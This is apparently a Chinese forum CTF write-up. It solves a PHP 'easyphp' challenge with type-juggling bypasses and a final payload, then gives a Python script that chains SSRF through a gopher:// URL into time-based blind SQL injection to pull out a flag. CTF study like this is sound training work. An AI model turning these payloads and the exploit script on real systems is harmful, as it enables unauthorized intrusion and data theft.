TA的每日心情 | 奋斗 3 小时前 |
---|
签到天数: 341 天 [LV.8]以坛为家I
|
本帖最后由 alglsf666 于 2024-4-14 20:07 编辑
1.easyphp:
a又要大于6000000又要小于等于3位,直接1e9;
这道题主要分为两部分,第一部分为$a 和$b的判断,很简单
- if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ //长度不大于3 但是又需要大于6000000 通过科学计数法绕过,赋值$a=9e9
- if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //直接通过脚本跑出来即可。如下脚本 $b=53724
- $key1 = 1;
- }else{
- die("Emmm...再想想");
- }
- }else{
- die("Emmm...");
- }
- <?php
- for ($b=0; $b < 100000; $b++) {
- if(substr(md5($b),-6,6) ==='8b184b'){
- echo $b;
- }
- }
- ?>//结果:53724
复制代码
所以第一部分payload为:?a=9e9&b=53724
第二部分
- $c=(array)json_decode(@$_GET['c']); //这一步最后再做,最后构造完毕后直接json_encode即可
- if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c需为数组。且存在m,m不能为数字,但是需大于2022.直接m赋值为2023a 即可。 当前$c = array( "m"=>'2023a');
- if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ //$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引) 。得到数组$c = array("m"=>'2023a',"n"=>array(array(),0));
- $d = array_search("DGGJ", $c["n"]); //array_search 判断的方式相当于比较,判断$c["n"]中是否存在字符串"DGGJ",如果我们设置为0 .那么这个函数就会类型比较,从而将字符串转化为数值。而字符串"DGGJ"中无数字,故转为0 .和我们的数组内容相同。返回true.进行下一步。
- $d === false?die("no..."):NULL;
- foreach($c["n"] as $key=>$val){
- $val==="DGGJ"?die("no......"):NULL;//和上面判断相同。
- }
- $key2 = 1;
- }else{
- die("no hack");
- }
- }else{
- die("no");
- }//最后得到$c = array("m"=>'2023a',"n"=>array(array(),0)); 通过echo json_encode($c); 获取payload.
- {"m":"2023a","n":[[],0]}
复制代码
得到完整payload:?a=9e9&b=53724&c={"m":"2023a","n":[[],0]}
2.代码了注释掉了一个use.php,但是bp抓不到什么有用的
只知道是SSRF,python搞起
- import urllib.parse
- import requests
- import time
- import base64
- url = "http://61.147.171.105:63397//use.php?url="#这里域名要改自己的
- flag = ""
- for pos in range(1, 50):
- for i in range(33, 127):
- poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
- i) + ",sleep(2),1) # "
- bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
- final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
- t1 = time.time()
- res = requests.get(url + final_poc)
- t2 = time.time()
- if (t2 - t1 > 2):
- flag += chr(i)
- print(flag)
- break
- print(flag)
复制代码
3.inget
SQL注入:
|
|